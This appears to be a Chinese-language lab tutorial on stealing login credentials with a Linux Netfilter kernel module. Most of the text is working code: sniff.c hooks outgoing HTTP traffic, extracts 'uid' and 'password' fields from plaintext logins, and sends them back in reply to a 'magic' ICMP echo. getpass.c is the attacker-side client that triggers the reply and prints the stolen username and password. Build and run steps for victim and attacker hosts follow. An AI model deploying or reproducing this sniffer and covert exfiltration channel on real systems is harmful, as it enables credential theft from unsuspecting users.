Netfilter編程實現用戶名和密碼的竊取

Netfilter編程實現用戶名和密碼的竊取

一、介紹

本實驗竊取密碼的前提是要明文傳輸,先必須找到一個登錄頁面是採用http協議(非https)的站點,一般的163郵箱都有相應的防禦機制,建議使用自己學校的郵箱或門戶,隨意輸入用戶名和密碼。

二、代碼

sniff.c

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

/* 使用ICMP_ECHO數據包 Code字段設置爲0x5B 91 */
#define MAGIC_CODE   0x5B
/* 數據包在頭後有足夠的空間來容納4字節的IP地址和用戶名和密碼字段,每個字段最多15個字符加上一個空字節。
 * 因此,ICMP有效負載的總大小爲36字節。
 */
#define REPLY_SIZE   36

/* "GPL" 是指明瞭 這是GNU General Public License的任意版本 */
MODULE_LICENSE("GPL");  

/* ICMP有效載荷大小 計算方式是得到整個ip數據包的總長度 減去 ip頭部大小 再減去 icmp頭部大小 */ 
#define ICMP_PAYLOAD_SIZE  (htons(ip_hdr(sb)->tot_len) \ - sizeof(struct iphdr) \ - sizeof(struct icmphdr))

/* username和password用來保存拿到的用戶名/密碼對
 * 一次只能保留一個USER / PASS對,一旦發起請求將被清除。
 */
static char *username = NULL;
static char *password = NULL;

/* 標記我們是否已經有一對用戶名/密碼對 */
static int  have_pair = 0;   

/* 追蹤信息。只記錄轉到的USER和PASS命令相同的IP地址和TCP端口目標ip 和 目標端口 */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* 用於描述我們的Netfilter掛鉤
 * nf_hook_ops數據結構在linux/netfilter.h中定義
 * 我們定義兩個nf_hook_ops結構體,一個傳入的hook 和 一個傳出的hook 
struct nf_hook_ops
{
    struct list_head list; //鉤子鏈表
    nf_hookfn *hook;       //鉤子處理函數
    struct module *owner;  //模塊所有者
    int pf;                //鉤子協議族
    int hooknum;           //鉤子的位置值(PREROUTING、POSTOUTING、INPUT、FORWARD、OUTPUT五個位置)
    int priority;          //鉤子的的優先級
}
 */
struct nf_hook_ops  pre_hook;        
struct nf_hook_ops  post_hook;       

/* 查看已知爲HTTP數據包的sk_buff。查找USER和PASS字段,並確保它們都來自target_xxx字段中指示的一個主機 */
static void check_http(struct sk_buff *skb)
{
	/* 定義一個tcphdr結構體 *TCP */ 
  struct tcphdr *tcp;
  char *data;
  char *name;
  char *passwd;
  char *_and;
  char *check_connection;
  int  len, i;

	/* 從套接字緩衝區skb中獲取tcp首部 */ 
  tcp = tcp_hdr(skb);

  /* data指向數據部分
   * 系統位數導致強制類型轉換錯誤 64位系統中指針類型8個字節,因此強轉爲int會出錯,可以轉成同樣爲8字節的long型 
   * 通過tcp首部位置 + tcp長度doff*4字節(以4B爲單位) 算出數據區域的位置 data 
   * 這裏是結構體,所以需要類型轉換,並且第一個變量的強轉類型不能去掉
   */ 
  data = (char *)((unsigned long)tcp + (unsigned long)(tcp->doff * 4));

  /* Cookie中不包含password,但其包含的uid及domain往往並非採用密碼登錄的用戶,先將其排除 */
	if(strstr(data,"Cookie") != NULL){
	  data = strstr(data,"Cookie");    
		if(strstr(data,"\r\n")!= NULL) 
		data = strstr(data,"\r\n");     //匹配Cookie結尾處的回車換行\r\n
		else return;
	}

	/* 判斷"Upgrade-In"在data中,判斷"uid"在data中,判斷"password"在data中 */ 
  if (strstr(data, "Upgrade-In") != NULL && strstr(data, "uid") != NULL && strstr(data, "password") != NULL) 
  { 
    /* 返回在data中首次出現Upgrade-In的地址 */ 
    check_connection = strstr(data, "Upgrade-In");
		
		/* 返回check_connection之後首次出現uid的地址 */ 
    name = strstr(check_connection, "uid=");

    /* 返回name之後首次出現&的地址 */ 
    _and = strstr(name, "&");

    /* 將name往後移動4字節,因爲“uid=”佔了四字節,所以移動之後name就是所存儲的uid了 */
    name += 4;

    /* 這是uid的長度,用&位置減去uid開始的位置 */ 
    len = _and - name;

    /* 在內核中給這個username分配內存大小。len+2是因爲還需要結束符\0 */ 
    if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
      return;

    /* 將username開始的len+2字節設置爲0x00,其實就是初始化 */ 
    memset(username, 0x00, len + 2);
        
    /* 用一個for循環將獲取的uid放到username中 */
    for (i = 0; i < len; ++i)
    {
      *(username + i) = name[i];
    }
    *(username + len) = '\0';

		/* 這裏獲取密碼和上面獲取用戶名用的是一樣的方法 */ 
    passwd = strstr(name,"password=");
    _and = strstr(passwd,"&");
    passwd += 9;
    len = _and - passwd;

    if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
      return;
    memset(password, 0x00, len + 2);
    for (i = 0; i < len; ++i)
    {
      *(password + i) = passwd[i];
    }
    *(password + len) = '\0';

  } else {
    /* 如果數據區域data中沒有上面三個字段則直接返回 */ 
    return;
  }

  /* 獲取32位目的ip,從ip首部的daddr字段中獲取 */ 
  if (!target_ip)
    target_ip = ip_hdr(skb)->daddr;

  /* 獲取16位源端口號,從tcp首部的source中獲取 */ 
  if (!target_port)
    target_port = tcp->source;

	/* username和password都獲取到了,將have_pair變爲1 */ 
  if (username && password)
    have_pair++;              
     
  /* 獲取到一個用戶名/密碼對,have_pair就爲1了 ,並將獲取到的用戶米和密碼輸出 */ 
  if (have_pair)
    printk("Have password pair!  U: %s   P: %s\n", username, password);
}

/* 函數稱爲POST_ROUTING(最後)鉤子。它會檢查FTP流量然後搜索該流量的USER和PASS命令 */
static unsigned int watch_out(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct sk_buff *sb = skb;
  struct tcphdr *tcp;
   
  /* 首先確保這是一個TCP數據包 */
  if (ip_hdr(sb)->protocol != IPPROTO_TCP)
    return NF_ACCEPT;         

  /* ip的首部長度*4字節(以4B爲單位)就是跳過ip首部 到達icmp首部的位置*/ 
  tcp = (struct tcphdr *)((sb->data) + (ip_hdr(sb)->ihl * 4));

  /* 16位目標端口號,現在檢查它是否是一個HTTP包 */
  if (tcp->dest != htons(80))
    return NF_ACCEPT;             

  /* 如果還未獲取到用戶名密碼對,則調用check_HTTP()去獲取 */
  if (!have_pair)
    check_http(sb);

  /* Netfilter返回值,保留該數據包 */
  return NF_ACCEPT;
}

/* 監視“Magic”數據包的傳入ICMP流量的過程。
 * 收到後,我們調整skb結構發送回覆,回到請求主機並告訴Netfilter我們偷了包。
 */
static unsigned int watch_in(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  /* 讓傳入的緩衝skb存到sb中 */ 
  struct sk_buff *sb = skb;
  /* 定義一個icmp首部指針 */ 
  struct icmphdr *icmp;
  /* 我們將數據複製到回覆中 */
  char *cp_data;
  /* Temporary IP holder */        
  unsigned int taddr;           

  /* 我判斷是否已經獲取到用戶名/密碼對了 */
  if (!have_pair)
    return NF_ACCEPT;

  /* 判斷這是不是一個ICMP包 */
  if (ip_hdr(sb)->protocol != IPPROTO_ICMP)
    return NF_ACCEPT;

  /* ip的首部長度*4字節(以4B爲單位)就是跳過ip首部 到達icmp首部的位置 */ 
  icmp = (struct icmphdr *)(sb->data + ip_hdr(sb)->ihl * 4);

  /* 判斷這是不是一個MAGIC包 0x58,icmp類型是不是ICMP_ECHO(8或者0),icmp有效載荷是不是大於等於36 */
  if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
    return NF_ACCEPT;
  }

  /* 開始調整skb結構發送回覆:
   * 將ip首部中的源地址和目的地址互換
   */ 
  taddr = ip_hdr(sb)->saddr; 
  ip_hdr(sb)->saddr = ip_hdr(sb)->daddr;
  ip_hdr(sb)->daddr = taddr;

  /* 幀的類型爲 PACKET_OUTGOING */ 
  sb->pkt_type = PACKET_OUTGOING;

  /* struct net_device * dev; 表示一個網絡設備
   * 設備所屬類型,ARP模塊中,用type判斷接口的硬件地址類型,以太網接口爲ARPHRD_ETHER 
   */ 
  switch (sb->dev->type) {
    //512 
    case ARPHRD_PPP:
      break;
    // 772 環回設備  
    case ARPHRD_LOOPBACK:
    // 1 以太網10Mbps 
    case ARPHRD_ETHER:
    {
      /* #define ETH_ALEN 6  定義了以太網接口的MAC地址的長度爲6個字節 */ 
      unsigned char t_hwaddr[ETH_ALEN];

      /* 移動數據指針指向鏈接層頭部 */
      sb->data = (unsigned char *)eth_hdr(sb);
      /* 跳過mac地址 sizeof(sb->mac.ethernet); */ 
      sb->len += ETH_HLEN; 
       
      /*交換mac源地址和mac目的地址*/ 
      /*將目的地址放到t_HWADDR*/ 
      memcpy(t_hwaddr, (eth_hdr(sb)->h_dest), ETH_ALEN);
      /*將源地址放到原目的地址的地方*/ 
      memcpy((eth_hdr(sb)->h_dest), (eth_hdr(sb)->h_source),
        ETH_ALEN);
      memcpy((eth_hdr(sb)->h_source), t_hwaddr, ETH_ALEN);
      break;
    }
   };

  /* 現在將IP地址,然後用戶名,然後密碼複製到數據包 */

  /* cp_data指向數據部分,這裏是跳過icmp首部 */
  cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
  /* 將目標的ip地址放到數據區域 */ 
  memcpy(cp_data, &target_ip, 4);
   
  /*將用戶名和密碼放到cp_data中*/ 
  if (username)
    /*跳過上面用掉的4字節*/ 
    memcpy(cp_data + 4, username, 16);
  if (password)
    /*跳過上面用掉的20字節*/ 
    memcpy(cp_data + 20, password, 16);

  /* 排隊發包,dev_queue_xmit這個網絡設備接口層函數發送給driver */
  dev_queue_xmit(sb);

  /* 現在釋放保存的用戶名和密碼並重置have_pair */
  kfree(username);
  kfree(password);
  username = password = NULL;
  have_pair = 0;

  target_port = target_ip = 0;

	/*忘掉該數據包*/ 
   return NF_STOLEN;
}

/*
內核模塊中的兩個函數 init_module() :表示起始 和 cleanup_module() :表示結束 
*/ 
int init_module()
{
	/*hook函數指針指向watc_in*/ 
   pre_hook.hook     = watch_in;
   /*協議簇爲ipv4*/  
   pre_hook.pf       = PF_INET;
   /*優先級最高*/
   pre_hook.priority = NF_IP_PRI_FIRST;
   /*hook的類型爲在完整性校驗之後,選路確定之前*/ 
   pre_hook.hooknum  = NF_INET_PRE_ROUTING;

   /*hook函數指針指向watc_out*/ 
   post_hook.hook     = watch_out;
   /*協議簇爲ipv4*/  
   post_hook.pf       = PF_INET;
   /*優先級最高*/
   post_hook.priority = NF_IP_PRI_FIRST;
   /*hook的類型爲在完數據包離開本地主機“上線”之前*/ 
   post_hook.hooknum  = NF_INET_POST_ROUTING;

   /*將pre_hook和post_hook註冊,註冊實際上就是在一個nf_hook_ops鏈表中再插入一個nf_hook_ops結構*/ 
   nf_register_net_hook(&init_net ,&pre_hook);
   nf_register_net_hook(&init_net ,&post_hook);

   return 0;
}

void cleanup_module()
{
	/*將pre_hook和post_hook取消註冊,取消註冊實際上就是在一個nf_hook_ops鏈表中刪除一個nf_hook_ops結構*/ 
   nf_unregister_net_hook(&init_net ,&post_hook);
   nf_unregister_net_hook(&init_net ,&pre_hook);

	/*釋放之前分配的內核空間*/ 
   if (password)
     kfree(password);
   if (username)
     kfree(username);
}

getpass.c

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/* We want the proper headers */
// #ifndef __USE_BSD
// #define __USE_BSD             
// #endif

static unsigned short checksum(int numwords, unsigned short *buff)
{
    unsigned long sum;

    for(sum = 0;numwords > 0;numwords--)
        sum += *buff++;   

    sum = (sum >> 16) + (sum & 0xFFFF);
    sum += (sum >> 16);

    return ~sum;
}

int main(int argc, char *argv[])
{
    /* 發送的數據包 */
    unsigned char dgram[256];          
    /* 接收的數據包 */ 
    unsigned char recvbuff[256];
    /* iphead指向ip頭部 */ 
    struct ip *iphead = (struct ip *)dgram;
    /* icmphead指向icmp頭部 +sizeof(ip)是跳過ip頭部 */
    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
    /* 源地址 */
    struct sockaddr_in src;
    /* 目的地址 */
    struct sockaddr_in addr;
    /* 攻擊者 */
    struct in_addr my_addr;
    /* ftp server ip地址,這裏是我們登陸郵箱的遠程服務主機地址 */
    struct in_addr serv_addr;
    /* 源地址的大小 */
    socklen_t src_addr_size = sizeof(struct sockaddr_in);
    
    int icmp_sock = 0;
    /* 緩衝區 */
    int one = 1;
    /* 緩衝區的頭部指針 */
    int *ptr_one = &one;

    /* 若沒有傳入兩個參數:被攻擊和攻擊主機IP則直接退出 */
    if (argc < 3) {
        fprintf(stderr, "Usage:  %s remoteIP myIP\n", argv[0]);
        exit(1);
    }

    /* 獲取一個socket,協議簇用的是ipv4,AF_INET和PF_INET是一樣的, SOCK_RAW表示我們自己來構建這個數據包,類型爲ICMP數據包 */
    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
    	fprintf(stderr, "Couldn't open raw socket! %s\n",
        strerror(errno));
    	exit(1);
    }

    /** 設置sock選項,使用ip協議來解析,IP_HDRINCL表示我們自己來填充數據
     *  這裏的setsockopt的作用實際上是告訴主機我要來自行定義ip頭部信息,跟上面的socket設置爲raw和icmp作用類似,告訴主機我需要自行定義的部分
     */
    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)) < 0) {
    	close(icmp_sock);
    	fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
        strerror(errno));
    	exit(1);
    }

	/* 將目的地址的協議簇設置爲ipv4 */
    addr.sin_family = AF_INET;
    /* 受害ip */ 
    addr.sin_addr.s_addr = inet_addr(argv[1]);
	/* 攻擊者ip */ 
    my_addr.s_addr = inet_addr(argv[2]);

	/*將ptr指向的內存塊的第一個num字節設置爲指定值*/
	/*將dgram初始化爲全0*/ 
    memset(dgram, 0x00, 256);
    /*將recvbuff初始化爲全0*/ 
    memset(recvbuff, 0x00, 256);

    /* 爲ip頭部填充數據 */
    iphead->ip_hl  = 5;  //4位 ip首部長度 
    iphead->ip_v   = 4; // 
    iphead->ip_tos = 0; //8位 服務類型 
    iphead->ip_len = 84; // 實際長度不需要84
    iphead->ip_id  = (unsigned short)rand(); //16位 可以初始化爲0 
    iphead->ip_off = 0; //13位 分段偏移 
    iphead->ip_ttl = 128; //8位 生存時間 
    iphead->ip_p   = IPPROTO_ICMP; //8位 icmp協議 
    iphead->ip_sum = 0; //校驗和初始化爲0 
    iphead->ip_src = my_addr; //攻擊者主機ip
    iphead->ip_dst = addr.sin_addr; //被攻擊者主機ip

    /* 爲icmp頭部填充數據 */
    icmphead->icmp_type = ICMP_ECHO; //類型爲icmp回覆報文 
    icmphead->icmp_code = 0x5B; //watch_in()中判斷的icmp_code一致 
    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead); //icmp的校驗和需要計算頭部和數據部分

    /* 將我們構造好的包發出去 */
    fprintf(stdout, "Sending request...\n");
    if (sendto(icmp_sock, dgram, 64, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) { // 64 = 20 + 8 + 36
    	fprintf(stderr, "\nFailed sending request! %s\n",
        strerror(errno));
    	return 0;
    }

    /* 接受回覆包 */
    fprintf(stdout, "Waiting for reply...\n");
    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size) < 0) {
    	fprintf(stdout, "Failed getting reply packet! %s\n",
        strerror(errno));
    	close(icmp_sock);
    	exit(1);
    }

    /* 分別獲得收到的數據包ip頭部位置和icmp頭部位置 */
    iphead = (struct ip *)recvbuff;
    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));

    /* 將獲取到的包的icmp數據部分複製到serv_addr */
    memcpy(&serv_addr, ((char *)icmphead + 8), sizeof (struct in_addr));

    // fprintf(stdout, "Stolen for http server %s:\n", inet_ntoa(serv_addr));
	// fprintf(stdout, "Userid:    %s\n"  , (char *)((char *)icmphead + 12));
	// fprintf(stdout, "Domain:    %s\n"  , (char *)((char *)icmphead + 24));
	// fprintf(stdout, "Password:    %s\n", (char *)((char *)icmphead + 40));

    fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
    /* 根據自定義的REPLY_SIZE=4+16+16=36字節 */
    fprintf(stdout, "Username:    %s\n", (char *)((char *)icmphead + 12)); //8+4
    fprintf(stdout, "Password:    %s\n", (char *)((char *)icmphead + 28)); //12+16

    close(icmp_sock);

    return 0;
}

Makefile

obj-m += sniff.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

三、運行

在受害者主機拷貝sniff.cMakefile文件,通過make編譯一下內核。
再將ko文件加載到內核。

$ sudo insmod sniff.ko

在攻擊者主機gcc編譯c文件,運行getpass文件。

$ sudo ./getpass ${attack ip} ${victim ip}

可以通過dmesg查看設備printk信息

結果:這裏爲了簡單起見直接用一個虛擬機實現了,抓取數據只有36字節(4+16+16)。
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章